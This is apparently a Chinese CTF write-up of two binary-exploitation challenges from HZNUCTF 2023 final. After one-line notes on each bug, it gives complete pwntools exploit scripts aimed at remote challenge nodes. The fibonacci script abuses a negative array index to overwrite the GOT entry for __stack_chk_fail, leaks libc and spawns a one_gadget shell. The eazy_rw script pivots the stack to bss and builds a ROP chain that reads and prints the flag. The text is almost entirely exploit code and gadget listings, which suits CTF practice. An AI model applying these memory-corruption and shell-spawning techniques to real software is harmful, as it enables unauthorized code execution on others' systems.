HZNUCTF 2023 final 复现

fibonacci:

数组下标无检查,负数可以反向溢出覆盖got表的__stack_chk_fail来绕过canary,之后ret2libc,最后打one_gadget注意条件

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

# io=process("./[HZNUCTF 2023 final]fibonacci")
io=remote("node1.anna.nssctf.cn",28253)
elf=ELF("./[HZNUCTF 2023 final]fibonacci")
libc=ELF("./libc.so")

pop_rdi_ret=0x401a33
vuln=0x4019a2
puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
ret=0x40101a
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
pop_r12_r13_r14_r15_ret=0x401a2c


io.sendlineafter("choice >> ",b"2")
io.sendlineafter("one?\n",b"-55")
io.sendlineafter(b"number\n",str(ret))

io.sendlineafter("choice >> ",b"2")
io.sendlineafter("one?\n",b"0")
payload=b"\x00"+b"a"*0x57+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b"number\n",payload)


leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr:  "+hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
str_bin_sh=leak_addr+next(libc.search(b"/bin/sh"))
shell=leak_addr+one_gadget[0]

io.sendlineafter("choice >> ",b"3")

io.sendlineafter("choice >> ",b"2")
io.sendlineafter("one?\n",b"1")
payload=b"\x00"+b"a"*0x57+p64(pop_r12_r13_r14_r15_ret)+p64(0)*4+p64(shell)
# gdb.attach(io)
# pause()
io.sendlineafter(b"number\n",payload)

io.interactive()

# Gadgets information
# ============================================================
# 0x0000000000401a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401a2e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401a30 : pop r14 ; pop r15 ; ret
# 0x0000000000401a32 : pop r15 ; ret
# 0x0000000000401a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401a2f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040121d : pop rbp ; ret
# 0x00000000004016f6 : pop rbx ; pop rbp ; ret
# 0x0000000000401a33 : pop rdi ; ret
# 0x0000000000401a31 : pop rsi ; pop r15 ; ret
# 0x0000000000401a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x000000000040143f : ret 0x2474
# 0x00000000004017ba : ret 0x458b
# 0x00000000004015c3 : ret 0x850f
# 0x0000000000401580 : ret 0x858b
# 0x00000000004013d1 : ret 0x8d48
# 0x000000000040134d : ret 0xc

# Unique gadgets found: 18

# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL



eazy_rw:

syscall构造read向bss段上读rop(rw已经有o)
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node2.anna.nssctf.cn",28167)
# io=process("./easy_rw")
elf=ELF("./easy_rw")

bss_addr=0x404900
leave_ret=0x40126f
pop_rdi=0x4013c3
pop_rsi_r15=0x4013c1
read_sys=0x401349

# gdb.attach(io)
# pause()

io.recvuntil(b">> ")
payload=cyclic(0x40)+p64(bss_addr-0x8)+p64(pop_rsi_r15)+p64(bss_addr)+p64(0)+p64(read_sys)
io.send(payload)

#read
rw=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss_addr+0x200)+p64(0)+p64(elf.sym[b"read"])
#puts
rw+=p64(pop_rdi)+p64(bss_addr+0x200)+p64(elf.sym[b"puts"])

payload=rw
io.send(payload)

io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040126f : leave ; ret
# 0x00000000004013bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004013be : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004013c0 : pop r14 ; pop r15 ; ret
# 0x00000000004013c2 : pop r15 ; ret
# 0x00000000004013bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004013bf : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004011dd : pop rbp ; ret
# 0x00000000004013c3 : pop rdi ; ret
# 0x00000000004013c1 : pop rsi ; pop r15 ; ret
# 0x00000000004013bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x000000000040124b : ret 0x2be

# Unique gadgets found: 13